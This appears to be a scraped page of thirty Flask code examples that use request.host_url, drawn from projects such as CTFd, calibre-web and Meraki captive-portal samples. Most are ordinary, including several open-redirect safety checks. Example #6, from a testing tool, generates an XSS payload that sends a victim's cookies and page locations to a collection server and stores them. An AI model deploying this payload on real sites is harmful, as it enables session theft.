Python flask.request.host_url() Examples

The following are 30 code examples of flask.request.host_url(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module flask.request , or try the search function .
Example #1
Source File: hal.py    From chaos-monkey-engine with Apache License 2.0 6 votes vote down vote up
def __init__(self, **kwargs):
        """Initialises a new ``Self`` link instance. Accepts the same
        Keyword Arguments as :class:`.Link`.

        Additional Keyword Args:
            external (bool): if true, force link to be fully-qualified URL, defaults to False

        See Also:
            :class:`.Link`
        """

        url = request.url
        external = kwargs.get('external', False)
        if not external and current_app.config['SERVER_NAME'] is None:
            url = request.url.replace(request.host_url, '/')

        return super(Self, self).__init__('self', url, **kwargs) 
Example #2
Source File: app.py    From line-bot-sdk-python with Apache License 2.0 6 votes vote down vote up
def handle_file_message(event):
    message_content = line_bot_api.get_message_content(event.message.id)
    with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix='file-', delete=False) as tf:
        for chunk in message_content.iter_content():
            tf.write(chunk)
        tempfile_path = tf.name

    dist_path = tempfile_path + '-' + event.message.file_name
    dist_name = os.path.basename(dist_path)
    os.rename(tempfile_path, dist_path)

    line_bot_api.reply_message(
        event.reply_token, [
            TextSendMessage(text='Save file.'),
            TextSendMessage(text=request.host_url + os.path.join('static', 'tmp', dist_name))
        ]) 
Example #3
Source File: app.py    From line-bot-sdk-python with Apache License 2.0 6 votes vote down vote up
def handle_content_message(event):
    if isinstance(event.message, ImageMessage):
        ext = 'jpg'
    elif isinstance(event.message, VideoMessage):
        ext = 'mp4'
    elif isinstance(event.message, AudioMessage):
        ext = 'm4a'
    else:
        return

    message_content = line_bot_api.get_message_content(event.message.id)
    with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix=ext + '-', delete=False) as tf:
        for chunk in message_content.iter_content():
            tf.write(chunk)
        tempfile_path = tf.name

    dist_path = tempfile_path + '.' + ext
    dist_name = os.path.basename(dist_path)
    os.rename(tempfile_path, dist_path)

    line_bot_api.reply_message(
        event.reply_token, [
            TextSendMessage(text='Save content.'),
            TextSendMessage(text=request.host_url + os.path.join('static', 'tmp', dist_name))
        ]) 
Example #4
Source File: mission_captive_portal.py    From meraki-code with MIT License 6 votes vote down vote up
def get_click():
    """Process GET requests to the /click URI; render the click.html page."""
    global base_grant_url
    global user_continue_url
    global success_url

    host = request.host_url
    base_grant_url = request.args.get('base_grant_url')
    user_continue_url = request.args.get('user_continue_url')
    node_mac = request.args.get('node_mac')
    client_ip = request.args.get('client_ip')
    client_mac = request.args.get('client_mac')
    success_url = host + "success"

    return render_template(
        "click.html",
        client_ip=client_ip,
        client_mac=client_mac,
        node_mac=node_mac,
        user_continue_url=user_continue_url,
        success_url=success_url,
    ) 
Example #5
Source File: external_captive_portal.py    From meraki-code with MIT License 6 votes vote down vote up
def get_click():
    """Process GET requests to the /click URI; render the click.html page."""
    global base_grant_url
    global user_continue_url
    global success_url

    host = request.host_url
    base_grant_url = request.args.get('base_grant_url')
    user_continue_url = request.args.get('user_continue_url')
    node_mac = request.args.get('node_mac')
    client_ip = request.args.get('client_ip')
    client_mac = request.args.get('client_mac')
    success_url = host + "success"

    return render_template(
        "click.html",
        client_ip=client_ip,
        client_mac=client_mac,
        node_mac=node_mac,
        user_continue_url=user_continue_url,
        success_url=success_url,
    ) 
Example #6
Source File: vtest.py    From vtest with Apache License 2.0 6 votes vote down vote up
def xss(name, action):
    callback_url = request.host_url + 'xss/' + quote(name) + '/save?l='
    js_body = "(function(){(new Image()).src='" + callback_url + "'+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&t='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&c='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&o='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
    if action == 'js':
        return js_body
    elif action == 'save':
        args = request.values
        data = [
            name,
            args.get('l', ''),
            args.get('t', ''),
            args.get('o', ''),
            args.get('c', ''), request.remote_addr
        ]
        sql = "INSERT INTO xss (name,location,toplocation,opener,cookie,source_ip,insert_time) \
            VALUES(?, ?, ?, ? ,?, ?, datetime(CURRENT_TIMESTAMP,'localtime'))"

        DB.exec_sql(sql, *data)
        return 'success' 
Example #7
Source File: __init__.py    From CTFd with Apache License 2.0 5 votes vote down vote up
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ("http", "https") and ref_url.netloc == test_url.netloc 
Example #8
Source File: fake_server.py    From SciHubEVA with MIT License 5 votes vote down vote up
def pdf_url_query():
    post_request = request.form.get('request')
    if post_request:
        return pdf_url_response(request.host_url, post_request)
    else:
        return 'UNKNOWN', 400 
Example #9
Source File: fake_server.py    From SciHubEVA with MIT License 5 votes vote down vote up
def pdf_url_response(host_url: str, request: str):
    return '''
    <html>
      <body>
        <iframe id="pdf" src="{host_url}{request}.pdf"></iframe>
      </body>
    </html>
    '''.format(host_url=host_url, request=request) 
Example #10
Source File: fake_server.py    From SciHubEVA with MIT License 5 votes vote down vote up
def pdf_query(pdf: str):
    if pdf.find('captcha') != -1:
        return captcha_response(request.host_url, pdf)

    return send_file(TemporaryFile(), mimetype='application/pdf', attachment_filename=pdf) 
Example #11
Source File: fake_server.py    From SciHubEVA with MIT License 5 votes vote down vote up
def captcha_response(host_url: str, pdf: str):
    return '''
    <html>
      <body>
        <img id="captcha" src="{host_url}evangelion.png" />
        <input name="id" value="{pdf}"/>
      </body>
    </html>
    '''.format(host_url=host_url, pdf=pdf.split('.')[0]) 
Example #12
Source File: auth.py    From knowledge-repo with Apache License 2.0 5 votes vote down vote up
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc 
Example #13
Source File: web_utils.py    From bard with GNU General Public License v3.0 5 votes vote down vote up
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc 
Example #14
Source File: util_url.py    From antminer-monitor with GNU General Public License v3.0 5 votes vote down vote up
def is_safe_url(target):
    """
    Ensure a relative URL path is on the same domain as this host.
    This protects against the 'Open redirect vulnerability'.

    :param target: Relative url (typically supplied by Flask-Login)
    :type target: str
    :return: str
    """
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc 
Example #15
Source File: test_aiowebsocket.py    From Flask-aiohttp with MIT License 5 votes vote down vote up
def test_async(app: Flask, aio: AioHTTP):
    """Test for asynchronous I/O in Flask view"""
    @app.route('/foo')
    def foo():
        return 'foo'

    @app.route('/lazy-foo')
    @async
    def lazy_foo():
        response = yield from aiohttp.request('GET', request.host_url + 'foo')
        data = yield from response.read()
        return data

    @app.route('/streaming-foo')
    @async
    def streaming_foo():
        response = yield from aiohttp.request('GET', request.host_url + 'foo')
        data = yield from response.read()

        def stream():
            yield data
        return app.response_class(stream())

    with Server(app, aio) as server:
        assert 'foo' == server.get('/foo')
        assert 'foo' == server.get('/lazy-foo')
        assert 'foo' == server.get('/streaming-foo') 
Example #16
Source File: login.py    From flicket with MIT License 5 votes vote down vote up
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc 
Example #17
Source File: flask_utils.py    From WatchPeopleCode with MIT License 5 votes vote down vote up
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc 
Example #18
Source File: views.py    From koschei with GNU General Public License v2.0 5 votes vote down vote up
def bugreport(name):
    """
    Redirect to a pre-filled bugzilla new bug page.
    """
    # Package must have last build, so we can have rebuild instructions.
    # It doesn't need to be failing, that's up to the user to check.
    package = db.query(Package)\
                .filter(Package.name == name)\
                .filter(Package.blocked == False)\
                .filter(Package.last_complete_build_id != None)\
                .filter(Package.collection_id == g.current_collections[0].id)\
                .options(joinedload(Package.last_complete_build))\
                .first() or abort(404)
    # Set up variables taht are interpolated into a template specified by configuration
    variables = package.srpm_nvra or abort(404)
    variables['package'] = package
    variables['collection'] = package.collection
    # Absolute URL of this instance, for the link back to Koschei
    external_url = frontend_config.get('external_url', request.host_url).rstrip('/')
    package_url = url_for('package_detail', name=package.name)
    variables['url'] = f'{external_url}{package_url}'
    template = get_config('bugreport.template')
    bug = {key: template[key].format(**variables) for key in template.keys()}
    bug['comment'] = dedent(bug['comment']).strip()
    query = urlencode(bug)
    bugreport_url = get_config('bugreport.url').format(query=query)
    return redirect(bugreport_url) 
Example #19
Source File: gui_utils.py    From golem with MIT License 5 votes vote down vote up
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc 
Example #20
Source File: excapsimulator.py    From dne-dna-code with MIT License 5 votes vote down vote up
def connect_to_wifi():
    """Save captive portal details; redirect to the External Captive Portal."""

    captive_portal_url = request.form["captive_portal_url"]
    base_grant_url = request.host_url + "splash/grant"
    user_continue_url = request.form["user_continue_url"]
    node_mac = generate_fake_mac()
    client_ip = request.remote_addr
    client_mac = generate_fake_mac()
    splash_click_time = datetime.utcnow().isoformat()
    full_url = (
        captive_portal_url
        + "?base_grant_url=" + base_grant_url
        + "&user_continue_url=" + user_continue_url
        + "&node_mac=" + node_mac
        + "&client_ip=" + client_ip
        + "&client_mac=" + client_mac
    )

    splash_logins.append(
        {
            "name": "Simulated Client",
            "login": "simulatedclient@meraki.com",
            "ssid": "Simulated SSID",
            "loginAt": splash_click_time,
            "gatewayDeviceMac": node_mac,
            "clientMac": client_mac,
            "clientId": client_ip,
            "authorization": "success",
        }
    )

    return redirect(full_url, code=302) 
Example #21
Source File: auth.py    From zeus with Apache License 2.0 5 votes vote down vote up
def is_safe_url(target: str) -> bool:
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return (
        # same scheme
        test_url.scheme in ("http", "https")
        and
        # same host and port
        ref_url.netloc == test_url.netloc
        and
        # and different endoint
        ref_url.path != test_url.path
    ) 
Example #22
Source File: oauth_bb.py    From calibre-web with GNU General Public License v3.0 5 votes vote down vote up
def unlink_oauth(provider):
        if request.host_url + 'me' != request.referrer:
            pass
        query = ub.session.query(ub.OAuth).filter_by(
            provider=provider,
            user_id=current_user.id,
        )
        try:
            oauth_entry = query.one()
            if current_user and current_user.is_authenticated:
                oauth_entry.user = current_user
                try:
                    ub.session.delete(oauth_entry)
                    ub.session.commit()
                    logout_oauth_user()
                    flash(_(u"Unlink to %(oauth)s Succeeded", oauth=oauth_check[provider]), category="success")
                except Exception as e:
                    log.exception(e)
                    ub.session.rollback()
                    flash(_(u"Unlink to %(oauth)s Failed", oauth=oauth_check[provider]), category="error")
        except NoResultFound:
            log.warning("oauth %s for user %d not found", provider, current_user.id)
            flash(_(u"Not Linked to %(oauth)s.", oauth=oauth_check[provider]), category="error")
        return redirect(url_for('web.profile'))


    # notify on OAuth provider error 
Example #23
Source File: plume.py    From canari3 with GNU General Public License v3.0 5 votes vote down vote up
def get_image_url(i):
    return '%s/static/%s' % (request.host_url, md5(b(i)).hexdigest())


# Monkey patch our resource lib to automatically rewrite icon urls 
Example #24
Source File: excapsimulator.py    From meraki-code with MIT License 5 votes vote down vote up
def connect_to_wifi():
    """Save captive portal details; redirect to the External Captive Portal."""

    captive_portal_url = request.form["captive_portal_url"]
    base_grant_url = request.host_url + "splash/grant"
    user_continue_url = request.form["user_continue_url"]
    node_mac = generate_fake_mac()
    client_ip = request.remote_addr
    client_mac = generate_fake_mac()
    splash_click_time = datetime.utcnow().isoformat()
    full_url = (
        captive_portal_url
        + "?base_grant_url=" + base_grant_url
        + "&user_continue_url=" + user_continue_url
        + "&node_mac=" + node_mac
        + "&client_ip=" + client_ip
        + "&client_mac=" + client_mac
    )

    splash_logins.append(
        {
            "name": "Simulated Client",
            "login": "simulatedclient@meraki.com",
            "ssid": "Simulated SSID",
            "loginAt": splash_click_time,
            "gatewayDeviceMac": node_mac,
            "clientMac": client_mac,
            "clientId": client_ip,
            "authorization": "success",
        }
    )

    return redirect(full_url, code=302) 
Example #25
Source File: security.py    From burp-ui with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def is_safe_url(target):
    from flask import request
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc 
Example #26
Source File: security.py    From burp-ui with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def is_safe_url(target):
    from flask import request
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc 
Example #27
Source File: security.py    From burp-ui with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def is_safe_url(target):
    from flask import request
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc 
Example #28
Source File: web.py    From SwarmOps with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def get_referrer_url():
    """获取上一页地址"""
    if request.referrer and request.referrer.startswith(request.host_url) and request.endpoint and not "api." in request.endpoint:
        url = request.referrer
    else:
        url = None
    return url 
Example #29
Source File: api.py    From dribdat with MIT License 5 votes vote down vote up
def info_event_hackathon_json(event_id):
    event = Event.query.filter_by(id=event_id).first_or_404()
    return jsonify(event.get_schema(request.host_url))

# ------ EVENT PROJECTS ---------

# API: Outputs JSON of projects in the current event, along with its info 
Example #30
Source File: validate_redirect.py    From evesrp with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def is_safe_redirect(redirect_url):
    # Fail everything starting with more then one slash
    # http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html
    if redirect_url.startswith('//'):
        return False
    # Validate given URL to make sure it's still on this server
    current_server = urlparse(request.host_url)
    redirect = urlparse(urljoin(request.host_url, redirect_url))
    return redirect.scheme in ('http', 'https') and \
            redirect.netloc == current_server.netloc